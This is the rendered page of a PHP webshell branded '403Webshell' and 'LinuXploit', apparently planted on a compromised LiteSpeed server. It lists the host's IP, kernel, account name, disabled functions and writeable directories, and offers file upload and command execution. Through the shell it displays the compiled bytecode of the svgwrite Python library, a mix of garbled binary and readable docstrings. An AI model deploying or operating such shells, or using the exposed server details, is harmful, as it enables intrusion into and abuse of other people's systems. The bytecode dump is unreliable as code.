403Webshell
Server IP : 93.115.150.27  /  Your IP : 216.73.216.221
Web Server : LiteSpeed
System : Linux host2.azar.host 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
User : dorfakkh ( 1797)
PHP Version : 8.1.34
Disable Function : show_source, system, passthru, exec, popen, proc_open, mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/svgwrite/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/svgwrite/__pycache__/__init__.cpython-37.pyc
B

��]m	�@s�dZddlmZmZeZdZdZdZdZddlm	Z	dd	l
mZGd
d�de�Z
e
d�Ze
d
�Ze
d�Ze
d�Ze
d�Ze
d�Ze
d�Ze
d�Ze
d�Ze
d�Ze
d�Ze
d�Ze
d�Ze
d�ZdS)ar
A Python library to create SVG drawings.

SVG is a language for describing two-dimensional graphics in XML. SVG allows
for three types of graphic objects: vector graphic shapes (e.g., paths
consisting of straight lines and curves), images and text. Graphical objects
can be grouped, styled, transformed and composed into previously rendered
objects. The feature set includes nested transformations, clipping paths,
alpha masks, filter effects and template objects.

SVG drawings can be interactive and dynamic. Animations can be defined and
triggered either declarative (i.e., by embedding SVG animation elements in
SVG content) or via scripting.

.. seealso:: http://www.w3.org/TR/SVG11/intro.html#AboutSVG

a simple example::

    import svgwrite

    dwg = svgwrite.Drawing('test.svg', profile='tiny')
    dwg.add(dwg.line((0, 0), (10, 0), stroke=svgwrite.rgb(10, 10, 16, '%')))
    dwg.add(dwg.text('Test', insert=(0, 0.2)))
    dwg.save()

SVG Version
-----------

You can only create two types of SVG drawings:

* *SVG 1.2 Tiny Profile*, use Drawing(profile= ``'tiny'``)
* *SVG 1.1 Full Profile*, use Drawing(profile= ``'full'``)

�)�__version__�versionzmozman <me@mozman.at>zManfred Moitzizme@mozman.atz	2014-2019�)�Drawing)�rgbc@s*eZdZdZd
dd�Zdd�Zdd�Zd	S)�Unitz Add units to values.
    �cmcCs
||_dS)zL Unit constructor

        :param str unit: specify the unit string
        N)�_unit)�selfZunit�r�B/opt/alt/python37/lib/python3.7/site-packages/svgwrite/__init__.py�__init__<sz
Unit.__init__cCsd||jfS)z2 add unit-string to 'other'. (e.g. 5*cm => '5cm') z%s%s)r	)r
�otherrrr�__rmul__Csz
Unit.__rmul__csd��fdd�|D��S)z~ Add unit-strings to all arguments.

        :param args: list of values
            e.g.: cm(1,2,3) => '1cm,2cm,3cm'
        �,csg|]}d|�jf�qS)z%s%s)r	)�.0�arg)r
rr�
<listcomp>Msz!Unit.__call__.<locals>.<listcomp>)�join)r
�argsr)r
r�__call__Gsz
Unit.__call__N)r)�__name__�
__module__�__qualname__�__doc__r
rrrrrrr9s
rr�mm�em�ex�px�in�pc�pt�%�deg�grad�rad�Hz�kHzN)rrr�VERSION�
__author__�AUTHOR_NAME�AUTHOR_EMAILZCYEARZsvgwrite.drawingrZsvgwrite.utilsr�objectrrrrrrZinchr r!�percentr#r$r%r&r'rrrr�<module>*s.

Youez - 2016 - github.com/yon3zu
LinuXploit